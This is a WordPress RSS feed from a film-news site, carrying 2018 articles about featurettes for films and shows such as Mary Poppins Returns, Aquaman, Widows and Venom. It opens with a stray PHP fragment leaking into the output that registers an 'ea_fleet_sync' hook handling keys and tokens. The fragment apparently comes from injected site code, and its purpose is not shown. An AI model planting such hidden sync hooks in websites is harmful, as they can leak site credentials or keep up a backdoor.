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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Featurette – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 18 Dec 2018 00:23:44 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Featurette – Brief News https://briefnews.eu 32 32 ‘Star Trek: Discovery’ Featurette: What to Expect in Season 2 https://briefnews.eu/star-trek-discovery-featurette-what-to-expect-in-season-2/ https://briefnews.eu/star-trek-discovery-featurette-what-to-expect-in-season-2/#respond Tue, 18 Dec 2018 00:23:44 +0000 http://briefnews.eu/star-trek-discovery-featurette-what-to-expect-in-season-2/ star trek discovery featurette

Season 2 of Star Trek: Discovery will look bigger, grander, and more cinematic than ever, with the crew of the CBS All Access show aiming to make the series “look as good as any version of Star Trek that had come before it.” A new Star Trek Discovery featurette, released following the newest trailer for season 2, delves into the making of the more expensive-looking season as well as the new plot threads following the introduction of Captain Pike (Anson Mount) and what’s going on with young, bearded Spock (Ethan Peck).

Star Trek Discovery Featurette

CBS All Access revealed a closer look at Star Trek: Discovery season 2 following the release of the latest trailer. In it, creator Alex Kurtzman describes the season’s shift to a more cinematic visual style, in keeping with the big-screen iterations of the series. But as grandiose as the season looks and feels, Star Trek: Discovery is still all about those intimate character moments, with Michael Burnham (Sonequa Martin-Green) meeting Captain Pike, the man who helmed the Enterprise before Captain Kirk, and discovering strange connections throughout space to her adoptive brother Spock.

This featurette is released on the heels of CBS All Access’s confirmation that it is extending the sophomore season of Star Trek: Discovery by one episode. The original order was for 13 episodes, but Discovery’s second season will now consist of 14 episodes total — similar to how CBS extended the first season’s 13-episode order to 15.

Here is the official synopsis for Star Trek: Discovery season 2:

After answering a distress signal from the U.S.S. Enterprise, season two of Star Trek: Discovery finds the crew of the U.S.S. Discovery joining forces with Captain Christopher Pike on a new mission to investigate seven mysterious red signals and the appearance of an unknown being called the Red Angel. While the crew must work together to unravel their meaning and origin, Michael Burnham is forced to face her past with the return of her estranged brother, Spock.

Star Trek: Discovery Season 2 is now filming in Toronto and will premiere on CBS All Access on January 17, 2019.

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]]> https://briefnews.eu/star-trek-discovery-featurette-what-to-expect-in-season-2/feed/ 0 ‘Mary Poppins Returns’ Clip and Featurette Focus on Emily Blunt and Meryl Streep https://briefnews.eu/mary-poppins-returns-clip-and-featurette-focus-on-emily-blunt-and-meryl-streep/ https://briefnews.eu/mary-poppins-returns-clip-and-featurette-focus-on-emily-blunt-and-meryl-streep/#respond Sun, 16 Dec 2018 05:58:36 +0000 http://briefnews.eu/mary-poppins-returns-clip-and-featurette-focus-on-emily-blunt-and-meryl-streep/ Mary Poppins Returns clip

Mary Poppins Returns is going to sing and dance its way into movie theaters in just a few days, and Disney has unveiled another new clip that shows why Emily Blunt is truly the perfect person to take on this classic role.

Oh, and there’s also a featurette about Mary Poppins’ cousin Topsy, who’s played by Meryl Streep. It goes without saying that Streep is an acting legend, but (*whispers*) she’s kind of terrible in this movie! See for yourself below.

Mary Poppins Returns Clip

This clip takes place early in the movie when Mary arrives at the Banks’ house and begins to look after Michael’s young children. Like the rest of the movie, it’s very clearly meant to evoke a scene from the original; in this case, it’s the scene in which Julie Andrews’ version of the character uses magic to get the kids to clean up their room. Here, Blunt gamely steps up and charms her way through the intro to “Can You Imagine That?” – she has a beautiful singing voice, but anyone who saw Into the Woods, her previous collaboration with director Rob Marshall, knew that already.

For me, the aspect that really makes her stand out are the tiny mannerisms she adopts to give the character some attitude. Watch the way she looks one of the children up and down at the :05 mark. Or her smile at :29 showing that Mary genuinely enjoys using these magical abilities. It’s that mixture of attitude and sincerity that makes her the best (and maybe the only) fit for this role.

Mary Poppins Returns Featurette

In stark contrast to Blunt’s wonderful performance is Streep’s work as Topsy, whom she plays with a vaguely Eastern European accent. These two videos are surprisingly representative of the movie as a whole: the “Can You Imagine That?” clip is a good example of how an actor’s natural charisma and take on a character can briefly overrule the sense that we’ve seen all of this before, while Streep’s Topsy is too eccentric for her own good, a collection of scarves and tics that never coalesces into a believable person. (The character originated in the P.L. Travers novels, but was gender-swapped for this movie.) To watch her in this movie is to be constantly reminded of Ed Wynn‘s Uncle Albert from the first movie, the character who floats across his apartment because he loves to laugh. Sorry, Streep stans – she simply isn’t given the ammunition in either songs or dialogue to be able to measure up here.

Mary Poppins Returns arrives in theaters on December 19, 2018. You can read our full review here.

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]]> https://briefnews.eu/mary-poppins-returns-clip-and-featurette-focus-on-emily-blunt-and-meryl-streep/feed/ 0 ‘Mary Poppins Returns’ Featurette: The Story Continues for the Magical Nanny https://briefnews.eu/mary-poppins-returns-featurette-the-story-continues-for-the-magical-nanny/ https://briefnews.eu/mary-poppins-returns-featurette-the-story-continues-for-the-magical-nanny/#respond Mon, 03 Dec 2018 12:33:23 +0000 http://briefnews.eu/mary-poppins-returns-featurette-the-story-continues-for-the-magical-nanny/ mary poppins returns featurette

How do you recapture the magic of a classic movie like Mary Poppins? By casting a lead actress who is practically perfect in every way. Emily Blunt gets the spotlight in the latest Mary Poppins Returns  featurette released by Disney, which delves into how the story continues for the magical nanny and the Banks children.

Mary Poppins Returns Featurette

No one can replace the unmatchable Julie Andrews, but Blunt is a worthy successor. Taking on the role of the magical nanny that Andrews won an Oscar for playing in 1964, Blunt infuses the role with comic timing and a spoonful of sugar. And Blunt is not the only one paying respectful homage to the original, the entire production is a recreation of the scope and the wonder that first enchanted us all those years ago.

“This film is not a remake of Mary Poppins, which I think is an impossible thing,” says Lin-Manuel Miranda, who plays the lamplighter Jack.

Miranda and Blunt are joined in the featurette by director Rob Marshall and Meryl Streep (Topsy, Mary’s quirky cousin), the latter of whom isn’t afraid to gush about her former Devil Wears Prada co-star. “It is a part she’s born to play,” Streep says. “She’s just practically perfect in every way.”

Mary Poppins Returns also stars Ben Whishaw, Emily Mortimer, Julie Walters, Dick Van Dyke, Angela Lansbury, and Colin Firth.

Here is the official synopsis for Mary Poppins Returns:

In Disney’s “Mary Poppins Returns,” an all new original musical and sequel, Mary Poppins is back to help the next generation of the Banks family find the joy and wonder missing in their lives following a personal loss. Emily Blunt stars as the practically-perfect nanny with unique magical skills who can turn any ordinary task into an unforgettable, fantastic adventure and Lin-Manuel Miranda plays her friend Jack, an optimistic street lamplighter who helps bring light—and life—to the streets of London.

Mary Poppins Returns opens in theaters on December 19, 2018.

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]]> https://briefnews.eu/mary-poppins-returns-featurette-the-story-continues-for-the-magical-nanny/feed/ 0 ‘If Beale Street Could Talk’ Featurette Dives into the Power of Writer James Baldwin https://briefnews.eu/if-beale-street-could-talk-featurette-dives-into-the-power-of-writer-james-baldwin/ https://briefnews.eu/if-beale-street-could-talk-featurette-dives-into-the-power-of-writer-james-baldwin/#respond Sat, 24 Nov 2018 12:13:00 +0000 http://briefnews.eu/if-beale-street-could-talk-featurette-dives-into-the-power-of-writer-james-baldwin/ If Beale Street Could Talk Featurette

Moonlight director Barry Jenkins is back behind the camera with If Beale Street Could Talk, the first major big screen adaptation of the work of author James Baldwin. It’s a surprising project for the director, mostly because James Baldwin’s estate, managed by sister Gloria Karefa-Smart, consistently says no to film adaptations of James Baldwin’s stories. A new If Beale Street Could Talk featurette explores why this story is so revered, and how Barry Jenkins has turned it into a film that will undoubtedly be a key player this awards season.

Watch the extensive If Beale Street Could Talk featurette below.

If Beale Street Could Talk Featurette

If Beale Street Could Talk is not an easy story to experience as it draws from the tragedy of prejudice that all too often has existed throughout our history. The film follows Tish (KiKi Layne), a 19-year old girl who finds herself pregnant by Fonny (Stephan James). The good news is that they’re madly in love, but the bad news is Fonny is being sent to prison for a crime he didn’t commit, leaving Tish alone with the prospect of a new child with her mother (Regina King) struggling to keep her afloat.

Much of the discussion in this featurette is about the legacy of James Baldwin and the power of the words he wrote in the 1974 novel of the same name. And interspersed between it is footage from If Beale Street Could Talk, showing that Barry Jenkins has created a quiet, contemplative film adaptation worthy of James Baldwin’s writing, one that perfectly captures the intense passion and love between Tish and Fonny, a love so strong that it might be enough to stand up against even the darkest times in their lives.

Our own Chris Evangelista wrote in his review from the Toronto International Film Festival:

“There are no easy answers in If Beale Street Could Talk, just simple, and often maddening, realities. At times, the hopelessness threatens to take hold of the film. But the love prevails. The tender romance between Tish and Fonny is a beacon; a lighthouse to gravitate towards across turbulent seas. Love brought them here. Now they have to trust it all the way.”

If that’s not enough to convince you, maybe you should watch the most recent trailer. If Beale Street Could Talk opens November 30, 2018, and it will be vying for plenty of awards over the next couple months, so make sure to see it as soon as possible.

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Dive down under the (special-effects created) sea in a new Aquaman featurette. Here, director James Wan takes us through several of the fantastical underwater worlds the film is set in. The running theme here, from Wan and the cast, is that Aquaman is going to take audiences to places they’ve never been before. Big, bold and strange are the three elements the superhero film seems to be going for. Watch the Aqauman featurette below.

Aquaman Featurette

As a wise crab once said: “Under the sea. Under the sea. Darling it’s better, down where it’s wetter, take it from me. Up on the shore they work all day, out in the sun they slave away. While we devotin’, full time to floatin’, under the sea.” Those words come to life in Aquaman, a new action movie about a muscular fish-man, his bad-wigged girlfriend, and Nicole Kidman. James Wan is the filmmaker tasked with bringing Aquaman to life, and since he’s Australian, he pronounces the title “Ak-wa-man”, and it’s just the cutest thing.

This featurette is a fun behind-the-scenes look at the film, and it underscores how much work went into crafting the wet and wild worlds on display. While filming underwater would be practically impossible (unless you’re James Cameron), Wan and company took great care in creating their under sea vistas. But the waterlogged worlds aren’t the only fantastical elements that needed to be conjured up. All sorts of elaborate costumes, sets and creatures had to be built from scratch. I don’t know how Aquaman will turn out as a film, but I can tell that the movie is at least going for broke in terms of world building.

Aquaman has had a strange path to the big screen. For years, the character was seen as something of a joke – at least in the general public’s eye – mocked for his ability to “talk to fish.” Zack Snyder’s Justice League attempted to rehabilitate him into a hard-drinkin’, ass-kickin’ Aqua-bro, as played by Jason Momoa. It didn’t quite work, but now Momoa has a chance to lead his own film. Hopefully it’ll work out. In the film, “Aquaman finds himself caught between a surface world that ravages the sea and the underwater Atlanteans who are ready to revolt.”

Aquaman, starring Jason Momoa, Amber Heard, Willem Dafoe, Patrick Wilson, Dolph Lundgren, Yahya Abdul-Mateen II, and Nicole Kidman, washes up on dry land starting December 21, 2018.

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Becoming a rock icon is always a difficult job, but playing one that’s still living? That’s a Herculean task that each of the stars, with the exception of Rami Malek, had to take on in Bohemian Rhapsody. That’s the equivalent of playing Mozart’s concertos while Mozart watches you like a hawk. But Gwilym Lee, Joseph Mazzello, and Ben Hardy were up to the task, as shown in the latest Bohemian Rhapsody featurette released by 20th Century Fox.

Bohemian Rhapsody Featurette

Rami Malek has been getting all the attention in the lead-up to the release of Bohemian Rhapsody, but 20th Century Fox wants to remind you that there were three other talented members of Queen — all of whom are still alive. Brian May and Roger Taylor are both actively involved in the biopic of the rock band, acting as creative consultants. Early on, their heavy hand in production has sparked concerns over the film becoming a hagiography, but as the film evolved, it (hopefully) seems like that’s not the case.

But the latest Bohemian Rhapsody featurette brings the other Queen members back into the spotlight, with Lee, Mazzello, and Hardy speaking about playing the rock band members and mastering their instruments. “We all worked really hard to master our instruments as best we could,” Lee said in the featurette.

“We knew that we couldn’t fake it,” Mazzello added.

May and Taylor of course came on board to give their on-screen counterparts some tips. “I find myself looking at the edits, and I do kind of believe he’s me,” May said of Lee.

Bohemian Rhapsody is directed by Bryan Singer based on a script by Anthony McCarten. It also stars Lucy Boynton, Aidan Gillen, Tom Hollander, Allen Leech, and Mike Myers.

Here is the synopsis for Bohemian Rhapsody:

Bohemian Rhapsody is a foot-stomping celebration of Queen, their music and their extraordinary lead singer Freddie Mercury. Freddie defied stereotypes and shattered convention to become one of the most beloved entertainers on the planet. The film traces the meteoric rise of the band through their iconic songs and revolutionary sound. They reach unparalleled success, but in an unexpected turn Freddie, surrounded by darker influences, shuns Queen in pursuit of his solo career. Having suffered greatly without the collaboration of Queen, Freddie manages to reunite with his bandmates just in time for Live Aid. While bravely facing a recent AIDS diagnosis, Freddie leads the band in one of the greatest performances in the history of rock music. Queen cements a legacy that continues to inspire outsiders, dreamers and music lovers to this day.

Bohemian Rhapsody opens in theaters on November 2, 2018.

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“We’re after the truth. I don’t go to a location with a stencil. I adapt to the environment,” reads a quote by director Steve McQueen at the beginning of the newest Widows featurette about the film’s Chicago location. The gritty heist thriller, penned by Gone Girl author Gillian Flynn, is set in the Windy City, and couldn’t take place anywhere else. The featurette dives into why that is, and how Chicago helped shape the highly anticipated movie.

Widows Featurette

Though Widows adapts a 1983 British series of the same name, McQueen and Flynn’s version is inextricably tied to Chicago. The filmmaker and author co-wrote the screenplay together — in Flynn’s first work as screenwriter — and thus wanted to ground the story in a time and place that could bring together the dramatically different characters played by Viola Davis, Michelle Rodriguez, Elizabeth Debicki, and Cynthia Erivo. In a new featurette released by 20th Century Fox, McQueen and Flynn explain why that place had to be Chicago, Illinois.  McQueen says in the featurette:

“The location for the setting of Widows was very strategic. I wanted an environment that dealt with current-day issues. Race, politics, crime, policing. Chicago is the epicenter of all of that.”

“The extremes that you see are pretty spectacular,” McQueen adds. “Within 50 meters you could see the richest of environments to the poorest.”

At this point, moviegoers may best know Chicago onscreen as the location doubling for Gotham City in Christopher Nolan’s The Dark Knight — which Widows may unintentionally recall in various heist and chase scenes sprinkled throughout this featurette. The site of the famous tunnel chase in The Dark Knight is shown in this featurette, as Viola Davis narrates, “It creates a whole story, a full picture, as opposed to something that’s contrived and imagined. When people see this movie, they’re going to really be in it. They’re gonna believe it.”

Maybe it’s just me, but that part of the featurette feels kind of like a jab at the “imagined” world of the Dark Knight and like a message to audiences saying, here’s the real Chicago. But that won’t stop me from looking forward to this movie, which has a murderer’s row of talent in front of the screen (Colin Farrell, Brian Tyree Henry, Daniel Kaluuya, Jacki Weaver, Carrie Coon, Robert Duvall, and Liam Neeson round out the supporting cast) and behind the screen.

Speaking of behind the screen, here’s another Widows featurette spotlighting the work of McQueen, who directed the Oscar-winning 12 Years a Slave.

Here is the official synopsis for Widows:

From Academy Award®-winning director Steve McQueen (“12 Years a Slave”) and co-writer and bestselling author Gillian Flynn (“Gone Girl”) comes a blistering, modern-day thriller set against the backdrop of crime, passion and corruption. “Widows” is the story of four women with nothing in common except a debt left behind by their dead husbands’ criminal activities. Set in contemporary Chicago, amid a time of turmoil, tensions build when Veronica (Oscar® winner Viola Davis), Linda (Michelle Rodriguez), Alice (Elizabeth Debicki) and Belle (Cynthia Erivo) take their fate into their own hands and conspire to forge a future on their own terms.

Widows opens in theaters on November 16, 2018.

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]]> https://briefnews.eu/widows-featurette-how-chicago-shapes-the-steve-mcqueen-heist-thriller/feed/ 0 ‘First Man’ IMAX Featurette Reveals Why This Movie is Best on the Giant Screen https://briefnews.eu/first-man-imax-featurette-reveals-why-this-movie-is-best-on-the-giant-screen/ https://briefnews.eu/first-man-imax-featurette-reveals-why-this-movie-is-best-on-the-giant-screen/#respond Sat, 13 Oct 2018 14:52:32 +0000 http://briefnews.eu/first-man-imax-featurette-reveals-why-this-movie-is-best-on-the-giant-screen/ First Man IMAX Featurette

This weekend brings First Man to theaters, the latest film from Whiplash and La La Land director Damien Chazelle. However, this time around the director trades in jazz for the wonder of space as he tells the story of Neil Armstrong’s journey from the Earth to the moon. And he does it all with the help of IMAX.

A new First Man IMAX featurette has arrived online to show how Damien Chazelle and his cinematographer Linus Sandgren wanted to immerse audiences in the intensity and excitement of the moon landing through the IMAX format. The wonder of this historic event in history is made all the more powerful on the screen when the film switches from the Super 16mm film used to shoot the rest of the film to the massive IMAX format.

However, before you watch the featurette, beware that it spoils how IMAX is used in the movie and also shows a lot of the moon landing itself, which is from the end of the movie.

First Man IMAX Featurette

As you can see, First Man expands into the IMAX format as soon as the hatch on the lunar module is opened to reveal the moon’s surface below. It’s described as a Wizard of Oz moment, just like when Dorothy walks into the technicolor land of Oz after the opening of the movie was presented in black and white.

The entire moon landing is shot on the IMAX format, making the moon’s surface feel more vast than it ever has before. You might be surprised to learn that this sequence wasn’t shot in a sound stage with extensive green screen work. Instead, it was shot at night in the middle of a quarry that has a monochromatic surface with a look not dissimilar to that of the moon.

Cue all the moon conspiracy theorists out there using this as an example of how easy it would be to fake a moon landing.

Anyway, First Man is one of the most riveting, harrowing, intense, and even terrifying depictions of real space travel ever put to film. Aside from the IMAX format being used for the moon landing, the sound in IMAX theaters makes this experience all the more gripping. Space travel has never felt so unnerving and thrilling. But the movie is so much more than that thanks to a story that puts a focus on Neil Armstrong as a man, not just an astronaut from the history books.

First Man is now playing in theaters everywhere. See it on IMAX if you can.

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Venom will chomp his way into theaters next month, giving Tom Hardy the chance to do yet another weird voice. While Hardy is covered in CGI goo while playing Venom, there’s a surprising amount of practical effects work in the film as well. If you don’t believe that, check out the Venom featurette below, showcasing Hardy’s work in bringing Venom to life.

Venom Featurette

I really don’t know what to make of Venom. Tom Hardy is an excellent actor, and the cast around him – Michelle Williams, Riz Ahmed, Jenny Slate and more – is fantastic. But there’s something about the footage that makes this look a hold-over from a different era – the type of comic book movie that would’ve come out around the time of Daredevil or Elektra. Despite my misgivings, I will say this new featurette offers a good look at the behind-the-scenes goings-on in the film. While Tom Hardy spends a good chunk of Venom obscured by CGI, he still threw himself fully into the role. Here, we get to see all the work that goes into filming the actor as he flails around like a lunatic. Cameras were set up to track his every movement, and a special rig was built that lifted the actor into the air with the movement of the camera to illustrate Venom’s full height.

There’s a fair bit of practicality to the footage here. That’s somewhat promising, but this is also only a small snippet of footage from a larger film. That said, even if Venom turns out to be a disappointment, I have a feeling Hardy will give the film his all. He usually does. “To me [playing Venom is] exciting, because it’s a double act,” the actor said in an interview with Esquire. “The character has an ethical framework, the alien by virtue of coming from another planet doesn’t have the same ethical framework, and they have to work out how to be together so they click.” Hardy added: “It’s like acting out mental illness in some aspects, of which I have a fair understanding, having had a certain amount of mental health problems of my own, which are relevant, being an addict. So I might as well fucking use it.”

Venom opens on October 5, 2018.

One of Marvel’s most enigmatic, complex and badass characters comes to the big screen, starring Academy Award nominated actor Tom Hardy as the lethal protector Venom. Reporter Eddie Brock develops superpowers after becoming a host to an alien parasite.

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It’s clear from the trailers so far that Bad Times at the El Royale is going to be loaded with twists and surprises. A new Bad Times at the El Royale plays the mystery factory up considerably, as the cast and crew vaguely talk about how wild and crazy everything is…without giving anything away. Watch the Bad Times at the El Royale featurette below.

Bad Times at the El Royale Featurette

Bad Times at the El Royale is the brainchild of Drew Goddard, director and co-writer of  The Cabin in the Woods. Much like that film, Bad Times appears to be the type of story where the less you know, the more fun you’re going to have. The trailers have been enticing but mysterious, and this new featurette has the incredible cast – Jeff Bridges, Cynthia Erivo, Dakota Johnson, Jon Hamm, Cailee Spaeny, Lewis Pullman, Chris Hemsworth and more – discussing how incredible and surprising the film’s script is.

“It was fresh, it was unique, it was full of drama,” says Chris Hemsworth. “The more you start scratching at the surface, the more you find out it has a lot of secrets,” adds Jon Hamm. Dakota Johnson makes things extra odd by claiming the movie is a “brutal love story”, which the trails don’t hint at at all. In short, there’s a lot going on here. Director Drew Goddard goes on to say that the film is a true ensemble piece, and that all the characters have a complicated background, and ensures viewers that they “don’t know where this movie is going to go.”

In a previous interview, Cynthia Erivo offered some insight into the ensemble approach:

“It’s so strange because it starts off almost singular – you meet them all by themselves. And then all of a sudden, they’re in a group. Then they’re split off and it’s like pairs, and then they’ll split off and then they’re back in the group again. So they each have their moment where they’re on their own, or in a pair, and then there’s moments where it’s all of them, the whole entire cast. I feel like because everyone’s had the chance to be on their own, it gives that gravitas to the moments where everyone’s together.”

Bad Times at the El Royale arrives in theaters on October 12, 2018.

Seven strangers, each with a secret to bury, meet at a run-down hotel in Lake Tahoe in 1960s California. Over the course of a fateful night, they all get one last shot at redemption before everything goes wrong.

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